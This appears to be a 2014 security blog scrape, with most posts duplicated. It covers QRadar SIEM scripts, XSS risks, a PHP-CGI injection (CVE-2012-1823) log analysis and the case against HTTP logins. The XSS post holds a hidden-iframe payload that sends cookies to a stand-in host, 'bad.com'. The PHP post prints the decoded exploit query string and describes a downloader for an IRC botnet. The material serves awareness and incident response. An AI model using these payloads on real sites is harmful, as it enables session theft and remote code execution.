Is your SIEM slow? Perhaps this command will help.
[xxx@yyy support]# ./findExpensiveCustomRules.sh
NOTE: This is typically found in /opt/qradar/support/
It'll then tell you where it stored the data
Data can be found in ./CustomRule-xxxx-xx-xx-yyyyyyy.tar.gz
Then you can extract that folder and view the contents
[xxx@yyy support]# tar -zxvf CustomRule-xxxx-xx-xx-yyyyyyy.tar.gz
Good luck parsing through the data! At a high level, I think the top folder's txt/xml file tries to summarize it all. So look in there for the first rule that shows up that is one you wrote. If you need more details, go into the reports folder and do the same thing on each of those files.
AverageActionsTime-xxxx-xx-xx-yyyyyyy.report
AverageExecutionTime-xxxx-xx-xx-yyyyyyy.report
AverageResponseTime-xxxx-xx-xx-yyyyyyy.report
AverageTestTime-xxxx-xx-xx-yyyyyyy.report
MaximumResponseTime-xxxx-xx-xx-yyyyyyy.report
MaximumTestTime-xxxx-xx-xx-yyyyyyy.report
MaximumActionsTime-xxxx-xx-xx-yyyyyyy.report
MaximumExecutionTime-xxxx-xx-xx-yyyyyyy.report
TotalResponseCount-xxxx-xx-xx-yyyyyyy.report
TotalResponseTime-xxxx-xx-xx-yyyyyyy.report
TotalActionsCount-xxxx-xx-xx-yyyyyyy.report
TotalTestCount-xxxx-xx-xx-yyyyyyy.report
TotalActionsTime-xxxx-xx-xx-yyyyyyy.report
TotalTestTime-xxxx-xx-xx-yyyyyyy.report
TotalExecutionCount-xxxx-xx-xx-yyyyyyy.report
TotalExecutionTime-xxxx-xx-xx-yyyyyyy.report
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, December 22, 2014
QRadar SIEM 101: Reference Maps
Reference Maps allow you to query based off key-value pairs. An example of this would be if you have certain UserIds that are only allowed to login to a specific list of Workstations. How can you set this up?
At the console command prompt the first thing you must do is create a Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh create yourReferenceMapName MAP ALNIC
NOTE: ALNIC = Alphanumeric data that ignores case. You can replace this with ALN (case sensitive), or IP (for IPs), or NUM (for numbers)
NOTE: The shell script is typically found in this location: /opt/qradar/bin/ReferenceDataUtil.sh
Next you can create a CSV file that you'll use to import the data.
key1,data userid1,WorkstationName1 userid2,WorkstationName1 userid2,WorkstationName2 userid3,WorkstationName3 userid4,WorkstationName4
NOTE: The first row is the column headers, just keep them as literally the words key1,data
Then you import/load that file into the Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh load yourReferenceMapName ~/myfile.csv
Then to validate it worked you can print them all out
[xxx@yyy ~]# ./ReferenceDataUtil.sh list yourReferenceMapName displayContents
If you goofed, first delete, then re-add
[xxx@yyy ~]# ./ReferenceDataUtil.sh delete yourReferenceMapName WorkstationName1 userid1 Key1
[xxx@yyy ~]# ./ReferenceDataUtil.sh add yourReferenceMapName WorkstationName1a userid1 Key1
If you really goofed, purge them all and start over
[xxx@yyy ~]# ./ReferenceDataUtil.sh purge yourReferenceMapName
If you really really goofed, delete the whole Reference Map
[xxx@yyy ~]# ./ReferenceDataUtil.sh remove yourReferenceMapName
If all is well, and you created it successfully, you can goto the GUI and add a filter with it
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
At the console command prompt the first thing you must do is create a Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh create yourReferenceMapName MAP ALNIC
NOTE: ALNIC = Alphanumeric data that ignores case. You can replace this with ALN (case sensitive), or IP (for IPs), or NUM (for numbers)
NOTE: The shell script is typically found in this location: /opt/qradar/bin/ReferenceDataUtil.sh
Next you can create a CSV file that you'll use to import the data.
key1,data userid1,WorkstationName1 userid2,WorkstationName1 userid2,WorkstationName2 userid3,WorkstationName3 userid4,WorkstationName4
NOTE: The first row is the column headers, just keep them as literally the words key1,data
Then you import/load that file into the Reference Map.
[xxx@yyy ~]# ./ReferenceDataUtil.sh load yourReferenceMapName ~/myfile.csv
Then to validate it worked you can print them all out
[xxx@yyy ~]# ./ReferenceDataUtil.sh list yourReferenceMapName displayContents
If you goofed, first delete, then re-add
[xxx@yyy ~]# ./ReferenceDataUtil.sh delete yourReferenceMapName WorkstationName1 userid1 Key1
[xxx@yyy ~]# ./ReferenceDataUtil.sh add yourReferenceMapName WorkstationName1a userid1 Key1
If you really goofed, purge them all and start over
[xxx@yyy ~]# ./ReferenceDataUtil.sh purge yourReferenceMapName
If you really really goofed, delete the whole Reference Map
[xxx@yyy ~]# ./ReferenceDataUtil.sh remove yourReferenceMapName
If all is well, and you created it successfully, you can goto the GUI and add a filter with it
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, December 19, 2014
XSS is Worse than you Think
Cross Site Scripting (aka XSS) is a vulnerability that allows attackers to inject client-side scripts into webpages. If you're like most most developers (including myself at one point) you might giggle a little bit when somebody tells you it's a High Risk vulnerabilty. After all, nearly every example you've seen online or in security training allowed the attacker to create an alert popup box. Oooooooooh ... scarey!!!!!!! 
Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.
For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.
Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.
Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.
Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!
Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!
Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!
All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).
Happy Coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Well guess what, it's worse than you think! There's a reason why OWASP keeps putting it near the top of their Top 10 Web Vulnerabilities list.
For example, one slightly more exciting example may be using XSS to redirect you to a malicious phishing website that looks identical to the site you thought you were going to.
==> document.location='http://www.some-other-webpage.com';
Or perhaps an XSS flaw is used to create a popup window offering this great coupon deal, but when you click on the deal it takes you to the attackers malicious malware ridden website.
Even more scarey is using XSS is used to inject a hidden iframe that takes advantage of a vulnerability in your browser and is used to download a trojan or virus, commonly seen in Watering Hole Attacks.
==> <iframe style="position:absolute;top:-9999px" src="http://bad.com/
a.html?q=<script>document.write('<img src=\"http://bad.com/
?c='+encodeURIComponent(document.cookie)+'\">')</script>"></ iframe >
Another frightening scenario, imagine logging into your Bank website, only to find out a few minutes later that somebody just transferred all the money out of your account. This blog walks through how with an XSS vulnerability a session cookie can be hijacked, posted to pastebin, and seconds later the attacker logs in as you. Ouch!
Imagine being the Administrator of a Blog, navigating to the page where you moderate comments, getting a session expired message, re-entering your credentials, the moving on with your work ... only to find out a few days later that your Admin account and password were stolen. This blog walks through exactly how that is possible thru XSS. Even system admins aren't safe!
Oh, but we're not done yet! Imagine navigating to a website where you enter your Credit Card, CVV, etc. for payment. This blog mentions just how simple it is to enable a key logger thru XSS and start sending all your keystrokes to an attacker. Brutal!
All of this because a developer didn't take the time to analyze their code and fix/prevent XSS. XSS is much worse than you ever thought! Perform statis analysis of your code to find these flaws before they ever go-live and fix them. Perform Dynamic Analysis scans of your websites to find vulnerabilities already existing and fix them. Sanitize all input always (If you haven't yet, read my blog on input validation to make sure you are covering all your bases).
Happy Coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, December 18, 2014
PHP Injection Attempt Explained
Today I'll make an attempt to explain what I know about a PHP injection attempt.
The first thing you may see is something in your IIS or Web logs that is HTML encoded in a url
hxxp://www.mysite.com//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
If you dump that into an html decoder ( http://meyerweb.com/eric/tools/dencoder/ ) you'll see what it really is
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
So you now see that the real url is was trying to get at is
hxxp://www.mysite.com//cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
Which after a google search appears to be related to CVE-2012-1823 ( http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1823 ), which says that when PHP is configured as a CGI script, then it cannot handle query strings that lack an = (equals sign) ... which sounds insanely simple ... but that apparently allows remote attackers to execute arbitrary code by placing command-line options in the query string ... many of which are typically related to skipping certain php_getopt for the 'd' case.
What you'll also see inside the body of post data is some php code such as this code I posted which does multiple things ...
1.) move to the tmp folder
2.) makes a request to a php file which perhaps logs the ip address of the victim and sets it up for the botnet?
3.) downloads a txt file (which is actually perl code) which is the payload of the attack
4.) runs the perl file just downloaded
5.) deletes the perl file just executed
6.) deletes all temporary files the perl file just created
7.) deletes everything else in the tmp folder
Inside the perl file/code downloaded you might see something like this code I posted.
It appears to contain many interesting things such as ...
1.) lots of variables declared (that start with the 'my' keyword) including an ip for the command and control server
2.) lots of functions declared (that start with the 'sub' keyword) that aren't actually getting executed now, but maybe later!
3.) code inbetween there that executes immediately and indefinitely is inside the while(1) infinite loop such as connecting to the IRC servers and listening for incoming messages. It is likely that it will use some of those functions declared with the 'sub' keyword based on which incoming messages it receives.
4.) some of those functions to be used later include things like [Port Scan an IP, NMap Scan an IP, UDP DDoS and IP, Download a file from somewhere, Open a Shell, etc.
What to do if you see this?
Check your firewall, IDS/IPS, or whatever other logs and look for outbound connections to [Any urls/IPs in the PHP wget statements, Any IPs in the Perl code]. If no, then hopefully the attacks failed. If yes, think worst case and consider resetting passwords and rebuilding the server from scratch because with that kind of access to your server you don't know what else they might've done and what other backdoors they may have created. If they really got in, also look at logs for any attempts to move further into your network and hop from this server to another one. Also don't forget to check your servers to make sure the vulnerability attempted is fixed on all servers (not just the one attacked), because you may patch this one and they just perform the same thing on the next server.
Hope this helps a bit! Good luck!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
The first thing you may see is something in your IIS or Web logs that is HTML encoded in a url
hxxp://www.mysite.com//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
If you dump that into an html decoder ( http://meyerweb.com/eric/tools/dencoder/ ) you'll see what it really is
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
So you now see that the real url is was trying to get at is
hxxp://www.mysite.com//cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
Which after a google search appears to be related to CVE-2012-1823 ( http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1823 ), which says that when PHP is configured as a CGI script, then it cannot handle query strings that lack an = (equals sign) ... which sounds insanely simple ... but that apparently allows remote attackers to execute arbitrary code by placing command-line options in the query string ... many of which are typically related to skipping certain php_getopt for the 'd' case.
What you'll also see inside the body of post data is some php code such as this code I posted which does multiple things ...
1.) move to the tmp folder
2.) makes a request to a php file which perhaps logs the ip address of the victim and sets it up for the botnet?
3.) downloads a txt file (which is actually perl code) which is the payload of the attack
4.) runs the perl file just downloaded
5.) deletes the perl file just executed
6.) deletes all temporary files the perl file just created
7.) deletes everything else in the tmp folder
Inside the perl file/code downloaded you might see something like this code I posted.
It appears to contain many interesting things such as ...
1.) lots of variables declared (that start with the 'my' keyword) including an ip for the command and control server
2.) lots of functions declared (that start with the 'sub' keyword) that aren't actually getting executed now, but maybe later!
3.) code inbetween there that executes immediately and indefinitely is inside the while(1) infinite loop such as connecting to the IRC servers and listening for incoming messages. It is likely that it will use some of those functions declared with the 'sub' keyword based on which incoming messages it receives.
4.) some of those functions to be used later include things like [Port Scan an IP, NMap Scan an IP, UDP DDoS and IP, Download a file from somewhere, Open a Shell, etc.
What to do if you see this?
Check your firewall, IDS/IPS, or whatever other logs and look for outbound connections to [Any urls/IPs in the PHP wget statements, Any IPs in the Perl code]. If no, then hopefully the attacks failed. If yes, think worst case and consider resetting passwords and rebuilding the server from scratch because with that kind of access to your server you don't know what else they might've done and what other backdoors they may have created. If they really got in, also look at logs for any attempts to move further into your network and hop from this server to another one. Also don't forget to check your servers to make sure the vulnerability attempted is fixed on all servers (not just the one attacked), because you may patch this one and they just perform the same thing on the next server.
Hope this helps a bit! Good luck!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, December 16, 2014
HTTP Login Pages are a Big No-No
You should NEVER enter your username and password into a website that runs under HTTP. Contact the owner of that website and request they add a simple SSL Certificate so that the website runs under HTTPS. Why? Because otherwise your password will be sent in plain-text across the internet from your computer, one router at a time, until it reaches that company's web server. Anywhere in between, your password could've been captured. Whomever captured your password can then turn around and login to that website, or even worse than that, try to use the same password to login to your email, your bank, or any other website of their choice.
Most common places of compromise would be if you're logging into a website at a wireless hotspot like a Coffee Shop, Hotel, or Airport. Why? Cause it's so simple and trivial to sniff shared unprotected wireless for plain text passwords. But it doesn't stop there, I would not trust entering in my password on HTTP even if it's from my home, hard-wired in, or from my work on our Intranet. It takes one malicious insider at your ISP or at your work or in your house, or wherever to sniff those packets and steal your information.
It's sad, but I did a simple search for "Support Login" on google, and found numerous websites that are still running HTTP logins. I was able to proof-of-concept that fact that on all those websites your password is transmitted plain text. Use this pastebin as an example of how HTTP login pages just don't cut it ...
http://pastebin.com/vKtNx2DN
Note: I did send an email to each one of these company's support emails on their website as a friendly reminder to upgrade to HTTPS.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Most common places of compromise would be if you're logging into a website at a wireless hotspot like a Coffee Shop, Hotel, or Airport. Why? Cause it's so simple and trivial to sniff shared unprotected wireless for plain text passwords. But it doesn't stop there, I would not trust entering in my password on HTTP even if it's from my home, hard-wired in, or from my work on our Intranet. It takes one malicious insider at your ISP or at your work or in your house, or wherever to sniff those packets and steal your information.
It's sad, but I did a simple search for "Support Login" on google, and found numerous websites that are still running HTTP logins. I was able to proof-of-concept that fact that on all those websites your password is transmitted plain text. Use this pastebin as an example of how HTTP login pages just don't cut it ...
http://pastebin.com/vKtNx2DN
Note: I did send an email to each one of these company's support emails on their website as a friendly reminder to upgrade to HTTPS.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
It's Time to Kill HTTP
You've seen the green lock 
next to a URL before indicating you're on a secure website. If you're savvy enough you probably even confirm it's there before you do sensitive things like pay with a credit card or do your online banking. I contend that's not enough. It's time to kill HTTP and move all websites over to HTTPS.
Why? Security. Privacy. Awareness. Google says so. It's time.
Security - For example if you're logging into any website and you'd don't see the lock you might as well just post your password on the front page of Facebook. Believe me when I say it's become trivial to do things like sniff Hotel and Coffee Shop wireless for pain text passwords over HTTP. And at work all it takes is somebody on your wireless or a Joe Blow with access to a network jack to see your credentials or critical internal data floating across the wire.
Privacy - There are levels of snooping that go beyond trying to grab your password. Imagine HTTP traffic as the news ticker scrolling across try bottom of CNN. Any data that you submit over HTTP is plain as day out in the open and trivial to collect and aggregate. Imagine all the data you plug in such as email addresses , street address, zip code , phone , etc. being collected and saved into a database. But above and beyond that ... What are you typing into your search engine? Perhaps your current health conditions? Your political affiliations? And more ... What if you're typing nothing ... You're just surfing the internet ? All the urls and pages you go to can tell a lot about a person like where they live, what they do on the weekend , what age kids they have , etc. Why would you ever want that in plain text for the world to see?
Awareness - Hey, if I haven't scared you yet, let me put it bluntly ... The Internet is dangerous. Don't trust it. There are lots of disturbed people and companies out there. People need to be told the truth and made aware that the only true way to stay safe is encrypt everything. Everything. Emails , web traffic, public websites, internal work websites, everything.
Google says so - Most recently they wrote a blog ( Chromium Blog - Making HTTP non-secure ) saying they're considering marking HTTP urls as "insecure" ... Letting the browser finally tell the truth ... If you're not on HTTPS you are not safe! Google also announced this year that they will start giving SEO search ranking bonus points to websites running all HTTPS ( Google Webmaster - HTTPS as a Ranking ).
It's Time - It's time for HTTP to die. Performance is no longer an issue. Today's modern hardware and virtual environments can handle HTTPS even on peak days like Cyber Monday. Cost is no longer an excuse, as SSL Certificates are almost as cheap as candy nowadays. SEO is no longer an issue. Google has decided to reward you for it. There's no more excuses, it's time.
Snowden showed us that everybody is watching you and the X-Files had it right when they said "Trust No One". The next time you build a website or web service whether it's out on the Internet or local to your company's Intranet, do the smart thing and HTTPS-it-up! The next time you're on an HTTP website, second guess everything you're doing. If you love that site, reach out to the owner and tell them to convert over to HTTPS. It's time for everybody to jump aboard and do what's right .... Kill HTTP.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
next to a URL before indicating you're on a secure website. If you're savvy enough you probably even confirm it's there before you do sensitive things like pay with a credit card or do your online banking. I contend that's not enough. It's time to kill HTTP and move all websites over to HTTPS.
Why? Security. Privacy. Awareness. Google says so. It's time.
Security - For example if you're logging into any website and you'd don't see the lock you might as well just post your password on the front page of Facebook. Believe me when I say it's become trivial to do things like sniff Hotel and Coffee Shop wireless for pain text passwords over HTTP. And at work all it takes is somebody on your wireless or a Joe Blow with access to a network jack to see your credentials or critical internal data floating across the wire.
Privacy - There are levels of snooping that go beyond trying to grab your password. Imagine HTTP traffic as the news ticker scrolling across try bottom of CNN. Any data that you submit over HTTP is plain as day out in the open and trivial to collect and aggregate. Imagine all the data you plug in such as email addresses , street address, zip code , phone , etc. being collected and saved into a database. But above and beyond that ... What are you typing into your search engine? Perhaps your current health conditions? Your political affiliations? And more ... What if you're typing nothing ... You're just surfing the internet ? All the urls and pages you go to can tell a lot about a person like where they live, what they do on the weekend , what age kids they have , etc. Why would you ever want that in plain text for the world to see?
Awareness - Hey, if I haven't scared you yet, let me put it bluntly ... The Internet is dangerous. Don't trust it. There are lots of disturbed people and companies out there. People need to be told the truth and made aware that the only true way to stay safe is encrypt everything. Everything. Emails , web traffic, public websites, internal work websites, everything.
Google says so - Most recently they wrote a blog ( Chromium Blog - Making HTTP non-secure ) saying they're considering marking HTTP urls as "insecure" ... Letting the browser finally tell the truth ... If you're not on HTTPS you are not safe! Google also announced this year that they will start giving SEO search ranking bonus points to websites running all HTTPS ( Google Webmaster - HTTPS as a Ranking ).
It's Time - It's time for HTTP to die. Performance is no longer an issue. Today's modern hardware and virtual environments can handle HTTPS even on peak days like Cyber Monday. Cost is no longer an excuse, as SSL Certificates are almost as cheap as candy nowadays. SEO is no longer an issue. Google has decided to reward you for it. There's no more excuses, it's time.
Snowden showed us that everybody is watching you and the X-Files had it right when they said "Trust No One". The next time you build a website or web service whether it's out on the Internet or local to your company's Intranet, do the smart thing and HTTPS-it-up! The next time you're on an HTTP website, second guess everything you're doing. If you love that site, reach out to the owner and tell them to convert over to HTTPS. It's time for everybody to jump aboard and do what's right .... Kill HTTP.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)